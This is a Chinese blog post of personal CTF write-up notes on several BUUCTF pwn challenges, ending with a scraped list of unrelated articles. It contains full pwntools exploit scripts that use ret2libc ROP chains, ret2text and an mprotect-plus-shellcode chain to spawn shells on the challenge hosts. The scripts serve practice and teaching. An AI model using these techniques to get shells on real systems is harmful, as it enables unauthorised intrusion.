BUUCTF PWN刷题笔记(持续更新!!)

ciscn_2019_c_1

64位,没有开启保护。点进去没发现明显的漏洞函数,考虑泄露libc基地址的rop构造。先看看有多少gadget

估计也够用了。puts函数只接受一个参数,观看汇编看看用的哪个寄存器传输的参数。

用的是edi。但是我们怎么找到so的版本呢,因为我们必须要知道so文件种puts函数的偏移量,才可以和泄露出puts的地址结合找到基址。可以用LibcSearch模块来搜索。

libcsearch(符号,地址)

新的心得:

1.64位有效地址是6字节。

2.libc.dump是LibcSearch的内置函数

  • 通过泄漏的函数真实地址,工具会匹配对应的 libc 版本,并直接返回其他函数或字符串的偏移量,避免手动计算。--豆包

可惜我的libcsearch出问题了

在线网站:libc database search

libc-database

可以自己搜这个。

另外就是因为函数的crypto函数,我们需要先传入一个\0,防止被吞payload。

 最后,一定需要注意栈对齐。在栈我们填充的垃圾字节似乎会影响到栈指针16字节对齐。

、下面是解释接受泄露地址的\x7f的原因(小端序下)

为什么不直接recv呢?

想要recv,就必须先接受crypto函数的第一个puts,否则直接recv的不是地址。然后,还需要先接受crypto的第一个输出,不然recv的还不是地址,有点麻烦。

exp:

from pwn import *
from LibcSearcher3 import *
context.log_level = 'debug' 
p = remote("node5.buuoj.cn",26318)
elf = ELF("./pwn")
pop_rdi_ret = 0x400c83
func = 0x4009A0p.sendlineafter(b"choice!\n", b'1')puts_got = elf.got["puts"]
payload2 =b'\0'+ b'A'*(0x50+8-1) + p64(pop_rdi_ret) + p64(puts_got) + p64(elf.plt['puts'])+p64(func)
p.sendline(payload2)
true_puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#我的没有找到地址,只好手动添加
system_addr = true_puts-0x31580
bin_sh_addr = true_puts+0x1334da
p.recvuntil(b"encrypted\n")
#下面的p64(0x04006b9)就是一个ret 来栈对齐的
payload3 =b'\0'+ b'A'*(0x50+8-1) +p64(0x04006b9 ) +p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
p.sendline(payload3)p.interactive()

jarvisoj_level2_x64

同样64位未开启保护,进入ida看看。注意到plt有个system字段,字符有/bin/sh,而且存在栈溢出的函数,可以感受到这就是入门题目,写一个exp练练手:

from pwn import *
elf=ELF("./pwn")
p=remote("node5.buuoj.cn",27443)
bin_sh=next(elf.search('/bin/sh'))
pop_rdi_ret=0x004006b3 
ret=0x4004a1
system=elf.plt['system']
payload=b'A'*(128+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)
p.send(payload)
p.interactive()

get_started_3dsctf_2016

参考:get_started_3dsctf_2016 - 不会修电脑 - 博客园

get_started_3dsctf_2016【BUUCTF】(两种解法)_if ( a1 == 814536271 && a2 == 425138641 ) { v2 = f-CSDN博客

32位没有保护,这次gaddet不好说也省去了。

方法一:ret2text

寻找到这一个函数,初步怀疑是ret2text。先试试行不行。

显然注意到a1a2的值还要有要求,查看汇编层面:开局有一个esp-8的操作,然后arg_0是对地址4操作的意思,arg_4是对地址为8操作的意思.这俩参数经过ida的main栈帧查看发现其实是在返回地址之后。因为main的argc和argv具有相同的4、8.但是这样并不能帮助我们修改它们的值

难道这样就没办法了吗?不要忘记C语言调用参数约定,我们只要按照约定,构造rsp即可。不用看这部分汇编代码,只需要在addr后4字节覆盖参数。

这里必须用exit,不然不会回显出来,因为没有开启标准输入输出。

from pwn import *q = remote('node5.buuoj.cn',26793)
context.log_level = 'debug'# 仅修正字节类型,其他不变
payload = b'a'*56  # 改为字节类型
payload += p32(0x080489A0) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
q.sendline(payload)
sleep(0.1)  # 可保留,但非必要
q.recv()

方法二:ret2shellcode

妈的,还有这种思路。注意到下面有这个函数:

int mprotect(const void *start, size_t len, int prot);

  第一个参数填的是一个地址,是指需要进行操作的地址。

  第二个参数是地址往后多大的长度。

  第三个参数的是要赋予的权限。7就是可读可写可执行。

这个函数可以把某个空间改为可执行。 唯一能利用的空间肯定要动调找。千万别用栈,地址可能会变化。那唯一能用的只有下部分的。前两个不太清楚是什么东西,先选取紫色的试试。

而且这样的话,需要read函数往里面填充我们的shellcode。

这里构造ROP需要注意,用pop_ret要清理参数,不然第二个函数的参数不好处理了。因为运行到gets的时候ESP指向的参数实际上不对劲的,可以自己画画看看,这里不多演示了。

from pwn import *
context.log_level = 'debug'# 检查 ELF 文件
elf = ELF('./pwn') if os.path.exists('./pwn') else Nonep = remote("node5.buuoj.cn", 29198)
mprotect = 0x806EC80
pop3_ret = 0x0804f460
read_addr = 0x0804F630
buf = 0x80ea000payload = b"a"*56 + p32(mprotect) + p32(pop3_ret) + p32(buf) + p32(0x1000) + p32(0x7) + p32(read_addr) + p32(buf) + p32(buf) p.sendline(payload)
sleep(0.1)  # 确保 payload 发送完成payload2 = asm(shellcraft.sh(),arch='i386',os='linux')
p.sendline(payload2)p.interactive()

这里的shellcraft必须跟上后面俩,不然不成功。 

 [HarekazeCTF2019]baby_rop

64位程序,打开IDA看看。有个system的plt表项,估计要用ret2syscall思路。

其实没那么复杂,程序本身也有/bin/sh,只需要rdi传输一个参数即可。

一下子就出来shell,但是没有看到flag。显然需要使用find命令。

find . -name "flag" -type f -exec cat {} \; 2>/dev/null

命令解释:

  1. find .
    从当前目录(.)开始递归查找。

  2. -name "flag"
    查找文件名精确匹配 flag 的文件(区分大小写)。

    • 若要忽略大小写:-iname "flag"

    • 若要查找包含 flag 的文件(如 flag1.txt):-name "*flag*"

  3. -type f
    仅查找普通文件(排除目录、符号链接等)。

  4. -exec cat {} \;
    对每个找到的文件执行 cat 命令输出其内容。

    • {} 是 find 的占位符,表示当前文件。

    • \; 是命令结束符,需转义(; 在 shell 中有特殊含义)。

  5. 2>/dev/null
    丢弃错误输出(如权限不足导致的错误),仅保留正常输出。
    2(stderr):标准错误输出(命令执行错误信息,屏幕显示)。

exp:

from pwn import *
context.log_level='debug'
elf=ELF('./pwn')
p=remote("node5.buuoj.cn",26576)
system=elf.plt['system']
pop_rdi_ret=0x400683
bin_sh=0x0601048
payload=b'A'*(16+8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)
p.sendline(payload)
p.interactive()

others_shellcode 

参考了[BUUCTF-pwn]——others_shellcode-CSDN博客

看名字就知道是shellcode。但是这个开启了PIE。瞬间没有思路了,也只有一个Getshell函数。

妈的,这个函数还真的getshell了,直接nc就做出来了。我晕

突然看别的题解,看了汇编代码。现在看看它的汇编

int 80都出来了,极可能实现了execve。也不知道它的考点是啥。

 

[OGeek2019]babyrop

32位,没有保护。

这个是主函数(已经修改部分变量名):首先给buf读取了4字节。

看看vuln的逻辑:

可见必须得看v2是否满足条件,(v2在这里就是参数a1)。第一个的read无法造成栈溢出。

v2和func密切相关,进去分析分析。

首先设置s和buf均为0.

sprintf 函数的作用是把格式化后得到的字符串存到指定的字符数组中。在这个语句里:

  • 第一个参数 s 代表存储格式化结果的目标字符串。
  • 第二个参数 "%ld" 是格式控制字符串,这里的 %ld 意味着要以长整型(long int)的形式进行格式化输出。
  • 第三个参数 buf_1 是需要被格式化的值。

 read函数返回的读取成功的字节,v5就是这个值。这么婆婆妈妈的,就是把buf的最后一个变成0,使buf疑似成为字符串。问了豆包,假如BUF不输入,可能会跳满足这个判断,但是又没办法利用vuln了。

----------------------待更新

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/80630.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java EE初阶——线程安全

1. 线程的状态 1. 线程状态分类(Thread.State 枚举) Java 定义了 6 种线程状态,这些状态均由 java.lang.Thread.State 枚举表示: NEW(新建) 线程对象已创建,但尚未调用 start() 方法。此时线程…

Vue 3.0中响应式依赖和更新

响应式依赖和更新是Vue 3.0中最重要的机制&#xff0c;其核心代码如下&#xff0c;本文将结合代码对这个设计机制作出一些解释。 // 全局依赖存储&#xff1a;WeakMap<target, Map<key, Set<effect>>> const targetMap new WeakMap();// 当前活动的副作用函…

一、内存调优

一、内存调优 什么是内存泄漏 监控Java内存的常用工具 内存泄露的常见场景 内存泄露的解决方案 内存泄露与内存溢出的区别 内存泄露&#xff1a;在Java中如果不再使用一个对象&#xff0c;但是该对象依然在GC ROOT的引用链上&#xff0c;这个对象就不会被垃圾回收器回收&…

Linux /etc/rc.d/init.d/

在传统的 SysV init 系统中&#xff0c;服务启动脚本通常位于 /etc/rc.d/init.d/ 目录下。这些脚本可以直接执行以启动、停止或重启服务&#xff0c;并且可以接受参数如 start, stop, status 等。 如果你想知道位于 /etc/rc.d/init.d/ 目录下的某个脚本文件实际上指向哪里,如果…

S7 200 smart连接Profinet转ModbusTCP网关与西门子1200PLC配置案例

控制要求&#xff1a;使用MODBUSTCP通信进行两台PLC之间的数据交换&#xff0c;由于改造现场不能改动程序&#xff0c;只留出了对应的IQ地址。于是客户决定使用网关进行通讯把数据传到plc。 1、读取服务器端40001~40005地址中的数据&#xff0c;放入到VW200~VW208中&#xff1…

打破传统仓库管理困局:WMS如何重构出入库全流程

引言 在制造业与零售业高速发展的今天&#xff0c;仓库管理仍普遍面临效率低、错发漏发频发、库存数据滞后等痛点。人工登记导致30%的错单率&#xff0c;货位混乱让拣货耗时增加50%&#xff0c;而账实不符引发的二次采购成本更吞噬着企业利润。如何突破传统管理桎梏&#xff1…

Text2SQL在Spark NLP中的实现与应用:将自然语言问题转换为SQL查询的技术解析

概述 SQL 仍然是当前行业中最受欢迎的技能之一 免责声明&#xff1a;Spark NLP 中的 Text2SQL 注释器在 v3.x&#xff08;2021 年 3 月&#xff09;中已被弃用&#xff0c;不再使用。如果您想测试该模块&#xff0c;请使用 Spark NLP for Healthcare 的早期版本。 自新千年伊…

微服务项目->在线oj系统(Java版 - 5)

相信自己,终会成功 微服务代码: lyyy-oj: 微服务 目录 C端代码 用户题目接口 修改后用户提交代码(应用版) 用户提交题目判题结果 代码沙箱 1. 代码沙箱的核心功能 2. 常见的代码沙箱实现方式 3. 代码沙箱的关键问题与解决方案 4. 你的代码如何与沙箱交互&#xff1f; …

Vue3 Element Plus 中el-table-column索引使用问题

在 Element Plus 的 el-table 组件中&#xff0c;使用 scope.index 是不准确的。正确的索引属性应该是 scope.$index。你的代码需要调整为&#xff1a; vue 复制 下载 <el-button type"primary" size"default" text click"onModifyClick(scope…

Ubuntu20.04下使用dpkg方式安装WPS后,将WPS改为中文界面方法

Ubuntu20.04下使用dpkg方式安装WPS后&#xff0c;将WPS改为中文界面方法 说明方法 说明 Ubuntu20.04下使用dpkg方式安装WPS后&#xff0c;打开WPS后&#xff0c;发现界面是英文的&#xff0c;如有需要可以按照下面的方法将其改为中文界面。 方法 cd /opt/kingsoft/wps-offic…

【​​HTTPS基础概念与原理​】​​HTTPS vs HTTP:为什么现代网站必须用HTTPS?

以下是关于 HTTPS vs HTTP 的详细对比分析&#xff0c;涵盖安全性、性能差异及SEO影响&#xff0c;帮助您全面理解为何现代网站必须采用HTTPS&#xff1a; 一、安全性对比&#xff1a;HTTPS 如何解决 HTTP 的致命缺陷 1. HTTP 的安全隐患 • 明文传输&#xff1a;HTTP 数据以明…

算法刷题(Java与Python)1.二分查找

目录 二分查找 思路 总体 细节 问题一&#xff0c;为什么循环的条件是left<right ,为什么要有等号呢 问题二&#xff0c;为什么中间值是left (right - left) / 2 问题三&#xff0c;为什么最后返回的是左边的值呢 情况 1&#xff1a;target 存在于数组中 情况 2&a…

芯片生态链深度解析(二):基础设备篇——人类精密制造的“巅峰对决”

【开篇&#xff1a;设备——芯片工业的“剑与盾”】 当ASML的EUV光刻机以每秒5万次激光脉冲在硅片上雕刻出0.13nm精度的电路&#xff08;相当于在月球表面精准定位一枚二维码&#xff09;&#xff0c;当国产28nm光刻机在华虹产线实现“从0到1”的突破&#xff0c;这场精密制造…

MongoTemplate 基础使用帮助手册

前言 MongoDB 是一种流行的 NoSQL 数据库&#xff0c;适合存储大量的非结构化数据。MongoTemplate 是 Spring Data MongoDB 中的一个核心组件&#xff0c;它提供了一组丰富的 API 来与 MongoDB 进行交互。它封装了许多常见的数据库操作&#xff0c;使开发者能够轻松执行 CRUD 操…

psotgresql18 源码编译安装

环境&#xff1a; 系统&#xff1a;centos7.9 数据库&#xff1a;postgresql18beta1 #PostgreSQL 18 已转向 DocBook XML 构建体系&#xff08;SGML 未来将被弃用&#xff09;。需要安装 XML 工具链&#xff0c;如下&#xff1a; yum install -y docbook5-style-xsl libxsl…

C++编程起步项目

员工信息管理系统 需求 Employee.h #pragma once#include<iostream> #include<string>using namespace std;class Employee { public:int id; // 编号string name; // 姓名string position; // 岗位int deptId; // 部门编号Employee();Employee(int id, string n…

Linux的MySQL头文件和找不到头文件问题解决

头文件 #include <iostream> #include <mysql_driver.h> #include <mysql_connection.h> #include <cppconn/statement.h> #include <cppconn/resultset.h> #include <cppconn/prepared_statement.h> #include <cppconn/exception.h&g…

[ linux-系统 ] 命令行参数 | 环境变量

命令行参数 命令行参数是指用户在启动程序时通过命令行传递给程序的参数。这些参数可以用于控制程序的行为、传递输入数据或配置选项。 在 C/C 中&#xff0c;命令行参数通过 main 函数的参数传递 命令行参数列表 argc:参数的个数 argv[]&#xff1a;参数的清单 为什么要…

新书速览|鸿蒙HarmonyOS NEXT开发之路 卷2:从入门到应用篇

《鸿蒙HarmonyOS NEXT开发之路 卷2&#xff1a;从入门到应用篇》 01 本书内容 《鸿蒙HarmonyOS NEXT开发之路 卷2&#xff1a;从入门到应用篇》是一本深度聚焦HarmonyOS NEXT应用开发的全方位指导书&#xff0c;内容遵循由浅入深的原则展开。全书分为基础知识、应用开发进阶和…

经典密码学和现代密码学的结构及其主要区别(1)凯撒密码——附py代码

密码学是一门通过使用代码和密码来保护信息的艺术与科学&#xff0c;其历史可以追溯到数千年前。古典密码学代表了这一古老学科早期的篇章。早在计算机和现代加密算法出现之前&#xff0c;历史上的各个文明就依靠巧妙的方法来保护机密、安全通信以及获取战略优势。 古典密码学…